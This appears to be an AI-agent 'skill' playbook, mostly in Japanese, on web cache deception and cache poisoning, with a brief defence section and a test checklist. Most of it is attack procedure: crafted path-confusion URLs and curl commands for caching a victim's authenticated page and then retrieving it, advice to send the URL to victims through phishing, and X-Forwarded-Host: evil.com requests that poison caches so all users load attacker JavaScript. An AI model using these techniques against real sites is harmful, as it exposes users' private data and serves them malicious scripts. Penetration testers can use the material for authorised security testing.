SKILL: Web Cache Deception — Expert Attack Playbook

AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.

Advanced Reference

Also load CACHE_POISONING_TECHNIQUES.md when you need:

• Web Cache Poisoning vs Web Cache Deception — 明確な区別と攻撃フロー比較
• Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
• Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
• Fat GET cache poisoning (body parameters reflected but not keyed)
• Parameter cloaking via semicolons and duplicate parameter parsing differentials
• CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
• Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities

1. コア概念

Web Cache Deception (認証済みデータの盗難)

攻撃者は被害者にその認証済みページを、キャッシュが静的コンテンツと見なす URL でリクエストさせるようにだまします:

被害者が訪問: https://target.com/account/profile/nonexistent.css
→ アプリケーションが「nonexistent.css」を無視して、/account/profile を提供 (認証データ付き)
→ CDN が .css 拡張子を見て → レスポンスをキャッシュ
→ 攻撃者が取得: https://target.com/account/profile/nonexistent.css
→ CDN がキャッシュされた認証済みコンテンツを提供 → 攻撃者が被害者のデータを読む

Web Cache Poisoning (悪意のあるコンテンツの配信)

攻撃者はキーに含まれないリクエストコンポーネント (ヘッダー、クッキー) を操作して、キャッシュに悪意のあるレスポンスを保存させます:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ アプリケーションが生成: <script src="https://evil.com/js/app.js">
→ キャッシュがこのレスポンスを保存
→ 通常のユーザーがキャッシュヒット → 攻撃者の JavaScript をロード

---

2. キャッシュデセプション — 攻撃方法

ステップ 1: キャッシュ可能なパスパターンの特定

CDN は通常ファイル拡張子でキャッシュします:

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (場合によっては)

ステップ 2: パス混淆のテスト

# 認証済みエンドポイントに静的拡張子を追加:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# パストラバーサルスタイル:
https://target.com/account/profile/..%2fstatic/app.css

ステップ 3: キャッシュの検証

# 被害者として (認証済み) リクエスト:
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# レスポンスヘッダーを確認:
# X-Cache: MISS (最初のリクエスト)
# Age: 0

# 攻撃者として再度リクエスト (認証なし):
curl https://target.com/account/profile/x.css

# レスポンスを確認:
# X-Cache: HIT
# 被害者の認証済みコンテンツが含まれている? → 脆弱

ステップ 4: 被害者への配信

フィッシング、メッセージ、または埋め込みを通じて、作成した URL を被害者に送信:

https://target.com/account/profile/tracking.gif

---

3. キャッシュポイズニング — 攻撃方法

キーに含まれないインプットの発見

キャッシュキーは通常以下を含みます: Host, URL パス, クエリ文字列。 これらは通常キャッシュキーに含まれません: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, クッキー, カスタムヘッダー。

# X-Forwarded-Host が反映されていてもキーに含まれていないかテスト:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# レスポンスに evil.com が含まれていてキャッシュされる場合 → 中毒可能

一般的なキーに含まれないヘッダー

X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

Host ヘッダー経由のキャッシュポイズニング

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ レスポンス: <link href="//evil.com/static/main.css">
→ キャッシュ → すべてのユーザーが攻撃者の CSS/JS をロード

---

4. パス正規化の違い

キャッシュデセプションの鍵: CDN とアプリケーションがパスを異なる方法で正規化

コンポーネント	動作
CDN (Cloudflare, Akamai)	拡張子を含む完全な URL パスに基づいてキャッシュ
アプリケーション (Rails, Django, Express)	末尾のパスセグメントまたは拡張子を無視する場合がある
リバースプロキシ (Nginx)	転送前にパスを削除または書き換える可能性

# アプリケーションはこれらを同等に扱う:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN は .css をキャッシュ可能な静的アセットとして扱う
→ ミスマッチ = 脆弱性

---

5. キャッシュポイズニング実世界パターン

X-Forwarded-Host → Open Graph / メタタグインジェクション

# ターゲットページが X-Forwarded-Host を使用してメタタグを生成:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# レスポンス:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# または:
<link rel="canonical" href="https://evil.com/">

# レスポンスがキャッシュされる場合 → すべてのユーザーが evil.com 参照を見る
# 影響: インジェクトされた JS パス経由の XSS、canonical リダイレクト経由のフィッシング、SEO ハイジャック

パスセパレータトリックによるキャッシュデセプション

# セミコロン (一部のフレームワークではパスパラメータとして扱われる):
/account/profile;.css

# エンコードされたセパレータ:
/account/profile%2F.css

# 末尾のドット/スペース:
/account/profile/.css
/account/profile .css

---

6. 防御

キャッシュデセプション対策

• 明示的に静的なパスのみをキャッシュ (例: /static/*, /assets/*)
• ファイル拡張子だけに基づいてキャッシュしない
• 認証済みエンドポイントに Cache-Control: no-store, private を設定
• Vary: Cookie を使用してクロスユーザーキャッシュヒットを防止

キャッシュポイズニング対策

• すべての反映されたヘッダーをキャッシュキーに含める
• X-Forwarded-* ヘッダーを検証およびサニタイズ
• 動的コンテンツに Cache-Control: no-cache を使用
• CDN エッジで未知のヘッダーを削除

---

6. テストチェックリスト

□ CDN/キャッシュレイヤーを特定 (X-Cache, Age, Via ヘッダー)
□ 認証済み API エンドポイントに .css/.js/.png を追加
□ レスポンスがキャッシュされているか確認 (2 番目のリクエストで X-Cache: HIT)
□ パスセパレータをテスト: /x.css, ;.css, %2F.css
□ キーに含まれないヘッダーをテスト: X-Forwarded-Host, X-Original-URL
□ 機密エンドポイントの Cache-Control ヘッダーを確認
□ Vary ヘッダーの存在を確認
□ 認証ありと認証なしでテスト